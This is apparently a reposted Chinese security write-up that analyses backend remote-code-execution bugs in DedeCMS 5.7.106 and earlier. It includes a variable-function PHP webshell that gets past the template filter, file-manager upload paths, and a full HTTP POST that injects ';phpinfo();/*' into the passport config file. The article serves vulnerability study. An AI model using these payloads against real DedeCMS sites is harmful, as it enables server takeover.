請遵守法律法規,文章僅供安全防範與學習,嚴禁非法使用,後果自負。
簡介
織夢内容管理系統 (DedeCMS),采用XML名字空間風格核心模闆:模闆全部使用檔案形式儲存,對使用者設計模闆、網站更新轉移均提供很大的便利,健壯的模闆标簽為站長DIY自己的網站提供了強有力的支援。
影響版本
version<=5.7.106
環境搭建
php5.6.9+mysql5.6+apache
下載下傳位址
https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip
使用小皮部署,www目錄下放源碼,使用phpstrom進行動态調試即可
初始化資料庫配置安裝
安裝完成
RCE
rce-模闆檔案繞過正則實作rce
代碼位置
uploads/dede/article_string_mix.php
修改模闆檔案
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
檔案存儲路徑
uploads/data/downmix.data.php
通路模闆檔案測試shell
分析
看到在29行的時候對檔案内容使用正規表達式進行了校驗
在31行到33行是對diasble的方法做了定義,循環是對檔案内容是否使用了disablefunction進行了校驗,如果傳入的内容含有disable的方法則傳回資訊DedeCMS提示:目前頁面中存在惡意代碼,當檔案内容為一句話
傳回資訊如下
無法繞過循環,當檔案内容為
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
的時候這裡是可以繞過代碼後端的校驗内容,debug往下跟
在這裡對檔案内容做正則比對
繼續向下跟進直接寫入檔案了,導緻rce
是以這裡針對模闆檔案修改實作RCE的話,隻要繞過循環以及正則就可以實作,是以免殺馬的話就沒有問題。
檔案上傳RCE
/uploads/dede/file_manage_main.php
/uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
檢索ctrl+shift+f
rce-配置檔案實作rce
前端修改配置檔案導緻rce,這裡其實可以對比5.7的不同小版本,在106這個版本前後比較明顯,在106版本之前,根據fwrite()檢索
路徑uploads\dede\sys_info_mark.php,前端
修改配置直接寫入
配置檔案/mark/inc_photowatermark_config.php
這裡\被轉義為\\測試發現106之前的版本都是沒問題的。因為106版本在代碼位置多了轉義增加了一個反斜杠
在版本106以及107中,在參數配置檔案中同樣做了增加反斜杠的代碼部分,參數轉義後的參數值如下圖
在35行添加了反斜杠,但是在106版本之前依舊可以實作後端RCE
/dede/sys_info.php
在106版本之前,該位置無函數addslashes
是以在這裡直接修改配置參數
可直接實作rce
http://dedecms.org:9999/uploads/data/config.cache.inc.php
但是通行證配置的功能在106版以及最新的107版中并未使用addslashes()函數對參數值進行添加反斜杠,路徑為
/uploads/dede/sys_passport.php
中的代碼并未做任何加強以及更新檔,使用BC對比
兩端代碼一緻,使用payload進行debug分析
POST /uploads/dede/sys_passport.php HTTP/1.1
Host: dedecms.org:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://dedecms.org:9999
Connection: close
Referer: http://dedecms.org:9999/uploads/dede/sys_passport.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSE
Upgrade-Insecure-Requests: 1
dopost=save&edit___cfg_pp_encode=FwCCr9938B&edit___cfg_pp_login=d&edit___cfg_pp_exit=t%5C&edit___cfg_pp_reg=%3Bphpinfo%28%29%3B%2F*&imageField.x=36&imageField.y=4
儲存成功echo後請求配置檔案
http://dedecms.org:9999/uploads/include/config_passport.php
這裡直接寫入一句話實作RCE即可。
在這裡其實對比在rce- 配置檔案實作rce開頭的位置路徑uploads\dede\sys_info_mark.php的分析可以發現這個位置在輸入參數内容存在反斜杠的時候因為函數stripslashes删掉了一個反斜杠,是以最終的配置檔案内容為
stripslashes()函數的作用
運作執行個體
小結
提供一些發散的思路吧,後端的RCE的利用基本都可以圍繞這兩點。
from https://sec-in.com/article/2167